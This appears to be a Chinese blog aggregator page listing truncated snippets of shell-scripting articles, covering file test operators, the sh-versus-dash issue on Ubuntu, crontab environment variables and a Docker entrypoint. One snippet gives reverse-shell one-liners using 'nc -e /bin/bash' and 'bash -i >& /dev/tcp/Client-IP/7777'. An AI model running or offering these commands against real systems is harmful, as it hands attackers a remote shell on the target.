[sh]shell小结】的更多相关文章

一 判断 -d 测试是否为目录.-f 判断是否为文件. -s 判断文件是否为空 如果不为空 则返回0,否则返回1 -e 测试文件或目录是否存在. -r 测试当前用户是否有权限读取. -w 测试当前用户是否有权限写入. -x 测试当前用户是否有权限执行. 语法: [ -d /etc/fstab ] 且 或 非 && 逻辑的与,"而且"的意思. || 逻辑的或,"或者"的意思. ! 逻辑的否 [ $USER != root ] && ec…
在Ubuntu系统中执行脚本的时候突然出现错误"source command not found in sh shell" 这个其实在Ubuntu 当中 执行脚本默认的使用的是dash,而非bash 通过命令 #ls -l `which sh` # /bin/sh -> dash 我们发现, 脚本中默认使用的sh其实对应的是dash, 而不是bash. 为了解决这个错误我们就需要把这个对应关系修改下, 让sh对应到bash 执行以下命令, 在弹出的框里面选择No即可把sh对应的链…
参考 基础语法 数字比较 -lt -eq -gt [ `ps -ef|grep nginx|grep -v grep|wc -l` -eq 0 ] str比较 == != [ $USER == "root" ] -z 变量未定义或为空串都会命中-z [ -z $1 ] 数字运算 - 整数 echo $((1+2)) # 不能计算小数 echo "1+2"|bc - 小数 echo "1.2+2.3"|bc - 文件检测 -f [ -f /etc/…
最近搞influxdb绘图,看到其dockerfile的entry.sh,无奈看的不是很懂. 于是查了下.. docker run 通过传参实现配置文件覆盖 实现启动镜像时候可指定配置文件 如果不指定,使用默认的配置 如果指定,即使用指定的配置 参考: https://hub.docker.com/_/influxdb/ https://github.com/influxdata/influxdata-docker/blob/master/influxdb/1.4/entrypoint.sh d…
近期一直在忙项目上的事情,今天对以前的工作做一个简单的小结.明天就是国庆节啦. 1  脚本可以手动执行,可是crontab缺总是找不到路径? #!/bin/bash. /etc/profile . /home/sms/.bash_profile 请在脚本中加入 本机的环境变量和用户的环境变量的配置 2 config.ini文件总是出现乱码,导致读入的数据莫名其妙? 更改config的编码为ANSI, UTF-8不一定是更好的选择. 3 logback.xml配置不起作用 可能是pom文件引入ja…
1.NC反弹shell 1.1.正向反弹shell 服务器 nc -lvvp 7777 -e /bin/bash 攻击机 nc  server-ip 7777 1.2.反向反弹shell 攻击机 nc -lvvp 7777 服务器 nc -e /bin/bash Client-ip 7777 1.3.不带-e反弹: 2. bash反弹shell 2.1 bash -i 攻击机 nc -lvvp 7777 服务器 bash -i >& /dev/tcp/Client-IP/7777 0>…
我会定期的把看到的一些好的shell和py脚本搜集在这里,供参考学习: 命令行回收站 推荐一个不相关的:trash-cli,就是命令行版的回收站,它的神奇之处在于不是简单的把文件移动到回收站,而且可以在回收站里恢复.所以它说自己是Command line interface to the freedesktop.org trashcan,我的 zshrc 里有一行:alias rt="trash" shell资源: 常用的一些script: 检查操作系统,内核,多少bit等 https…
一 判断 -d 测试是否为目录.-f 判断是否为文件. -s 判断文件是否为空 如果不为空 则返回0,否则返回1 -e 测试文件或目录是否存在. -r 测试当前用户是否有权限读取. -w 测试当前用户是否有权限写入. -x 测试当前用户是否有权限执行. 语法: [ -d /etc/fstab ] 且 或 非 && 逻辑的与,"而且"的意思. || 逻辑的或,"或者"的意思. ! 逻辑的否 [ $USER != root ] && ec…
centos 创建桌面双击启动程序(更改图标) - Feythin Lau - 博客园http://www.cnblogs.com/feiyuliu/archive/2012/11/29/2795034.html Ubuntu双击运行.sh文件的问题_博问_博客园https://q.cnblogs.com/q/60713/…
命令缩写: ls:list(列出目录内容) cd:Change Directory(改变目录) su:switch user 切换用户 rpm:redhat package manager 红帽子打包管理器 pwd:print work directory 打印当前目录显示出当前工作目录的绝对路径 ps: process status(进程状态,类似于windows的任务管理器) 常用参数:-auxf ps -auxf 显示进程状态 df: disk free 其功能是显示磁盘可用空间数目信息及…